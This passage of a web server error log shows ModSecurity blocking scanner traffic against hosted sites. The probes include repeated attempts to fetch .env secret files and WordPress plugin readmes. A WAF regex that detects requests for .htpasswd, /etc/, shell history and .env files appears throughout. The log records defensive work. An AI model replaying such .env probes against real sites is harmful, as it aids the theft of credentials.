"ai3zZtyTkdrNlD40tSG3BAAAAFc"] [Sat Jun 13 18:18:46.038005 2026] [security2:error] [pid 648189:tid 648417] [client 45.156.128.152:40122] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wp-optimize/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKBybwAAAMQ"] [Sat Jun 13 18:18:46.039896 2026] [security2:error] [pid 646876:tid 647103] [client 45.156.128.155:38920] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/updraftplus/readme.txt"] [unique_id "ai3zZtyTkdrNlD40tSG3BgAAAF8"] [Sat Jun 13 18:18:46.046603 2026] [security2:error] [pid 648189:tid 648417] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/uploads/.env"] [unique_id "ai3zZlWSojQL4F7upKBycAAAAMQ"] [Sat Jun 13 18:18:46.048736 2026] [security2:error] [pid 646876:tid 647112] [client 45.156.128.155:38934] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/redirection/readme.txt"] [unique_id "ai3zZtyTkdrNlD40tSG3BwAAAGg"] [Sat Jun 13 18:18:46.048842 2026] [security2:error] [pid 648189:tid 648444] [client 45.156.128.152:40136] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/coming-soon/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKBycwAAAN4"] [Sat Jun 13 18:18:46.048971 2026] [security2:error] [pid 646876:tid 647076] [client 45.156.128.153:49322] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/mailchimp-for-wp/readme.txt"] [unique_id "ai3zZtyTkdrNlD40tSG3CAAAAEQ"] [Sat Jun 13 18:18:46.054696 2026] [security2:error] [pid 648189:tid 648398] [client 45.156.128.155:38922] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/redux-framework/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKBydAAAALI"] [Sat Jun 13 18:18:46.066062 2026] [security2:error] [pid 646876:tid 646887] [remote 17.246.19.153:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 153.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zZtyTkdrNlD40tSG3CQAAIwg"] [Sat Jun 13 18:18:46.075948 2026] [security2:error] [pid 646876:tid 647123] [client 45.156.128.154:34196] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/smart-slider-3/readme.txt"] [unique_id "ai3zZtyTkdrNlD40tSG3CgAAAHM"] [Sat Jun 13 18:18:46.123123 2026] [security2:error] [pid 648189:tid 648485] [client 45.156.128.153:49324] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/w3-total-cache/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKByeAAAAQM"] [Sat Jun 13 18:18:46.161749 2026] [security2:error] [pid 648189:tid 648257] [remote 17.241.219.19:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zZlWSojQL4F7upKByegAAySM"] [Sat Jun 13 18:18:46.178810 2026] [security2:error] [pid 648189:tid 648437] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/urlmem-app/.env"] [unique_id "ai3zZlWSojQL4F7upKByewAAANg"] [Sat Jun 13 18:18:46.412402 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.6:53322] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:46.412715 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.6:53322] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:46.459670 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:18:46.459955 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:18:46.572300 2026] [security2:error] [pid 648189:tid 648347] [remote 62.133.50.46:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zZlWSojQL4F7upKByhQAA0nw"], referer: https://www.torquayfans.com [Sat Jun 13 18:18:46.572346 2026] [security2:error] [pid 648189:tid 648347] [remote 62.133.50.46:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zZlWSojQL4F7upKByhQAA0nw"], referer: https://www.torquayfans.com [Sat Jun 13 18:18:46.595885 2026] [security2:error] [pid 648189:tid 648362] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/User_info/.env"] [unique_id "ai3zZlWSojQL4F7upKByiAAAAI4"] [Sat Jun 13 18:18:46.622102 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.39:61878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:46.622583 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.39:61878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:46.727782 2026] [security2:error] [pid 648189:tid 648411] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/v1/.env"] [unique_id "ai3zZlWSojQL4F7upKByjQAAAL4"] [Sat Jun 13 18:18:46.817524 2026] [security2:error] [pid 648189:tid 648276] [remote 17.241.219.13:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zZlWSojQL4F7upKBykgAA8jY"] [Sat Jun 13 18:18:46.857297 2026] [security2:error] [pid 648189:tid 648375] [client 45.156.128.154:34208] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/fancy-product-designer/readme.txt"] [unique_id "ai3zZlWSojQL4F7upKBylQAAAJs"] [Sat Jun 13 18:18:46.968467 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:46.973071 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:47.025489 2026] [security2:error] [pid 648189:tid 648240] [remote 57.141.14.32:59485] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3zZ1WSojQL4F7upKByowAAoRM"], referer: https://nelsonfarmstn.com/product-category/specials/?add_to_wishlist=380&_wpnonce=8d149de2a5&add-to-cart=1259 [Sat Jun 13 18:18:47.076637 2026] [access_compat:error] [pid 646876:tid 646892] [remote 57.141.14.8:60511] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:47.077114 2026] [access_compat:error] [pid 646876:tid 646892] [remote 57.141.14.8:60511] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:47.080043 2026] [access_compat:error] [pid 646876:tid 647053] [client 192.178.6.39:63113] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:47.080488 2026] [access_compat:error] [pid 646876:tid 647053] [client 192.178.6.39:63113] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:47.168231 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.24:39426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:47.169890 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.24:39426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:47.180310 2026] [security2:error] [pid 646876:tid 646975] [remote 17.241.219.198:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zZ9yTkdrNlD40tSG3KwAAA2A"] [Sat Jun 13 18:18:47.305759 2026] [security2:error] [pid 648189:tid 648444] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/v2/.env"] [unique_id "ai3zZ1WSojQL4F7upKByswAAAN4"] [Sat Jun 13 18:18:47.436855 2026] [security2:error] [pid 648189:tid 648485] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/var/backup/.env"] [unique_id "ai3zZ1WSojQL4F7upKBytwAAAQM"] [Sat Jun 13 18:18:47.465526 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9pbnB1dDI6OnNjcm9sbGxvY2svZGV2aWNl [Sat Jun 13 18:18:47.465832 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9pbnB1dDI6OnNjcm9sbGxvY2svZGV2aWNl [Sat Jun 13 18:18:47.570095 2026] [security2:error] [pid 648189:tid 648408] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/vendor/.env"] [unique_id "ai3zZ1WSojQL4F7upKByuwAAALs"] [Sat Jun 13 18:18:47.700840 2026] [security2:error] [pid 648189:tid 648420] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/vendor/github.com/gobuffalo/envy/.env"] [unique_id "ai3zZ1WSojQL4F7upKByzgAAAMc"] [Sat Jun 13 18:18:47.730609 2026] [security2:error] [pid 648189:tid 648446] [client 45.156.128.152:57824] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "www.psrecruit.org.uk"] [uri "/wp-content/plugins/wp-time-capsule/readme.txt"] [unique_id "ai3zZ1WSojQL4F7upKByzwAAAOA"] [Sat Jun 13 18:18:47.833937 2026] [security2:error] [pid 648189:tid 648484] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/vendor/github.com/subosito/gotenv/.env"] [unique_id "ai3zZ1WSojQL4F7upKBy1AAAAQI"] [Sat Jun 13 18:18:48.015504 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZHJpdmVyL3NlcmlvMC9maXJtd2FyZV9ub2RlL3BoeXNpY2FsX25vZGUx [Sat Jun 13 18:18:48.016103 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZHJpdmVyL3NlcmlvMC9maXJtd2FyZV9ub2RlL3BoeXNpY2FsX25vZGUx [Sat Jun 13 18:18:48.125730 2026] [access_compat:error] [pid 648189:tid 648236] [remote 57.141.14.90:57612] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:48.126128 2026] [access_compat:error] [pid 648189:tid 648236] [remote 57.141.14.90:57612] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:48.254689 2026] [security2:error] [pid 648189:tid 648388] [client 185.177.72.9:30440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/videos/.env"] [unique_id "ai3zaFWSojQL4F7upKBy5QAAAKg"] [Sat Jun 13 18:18:48.316096 2026] 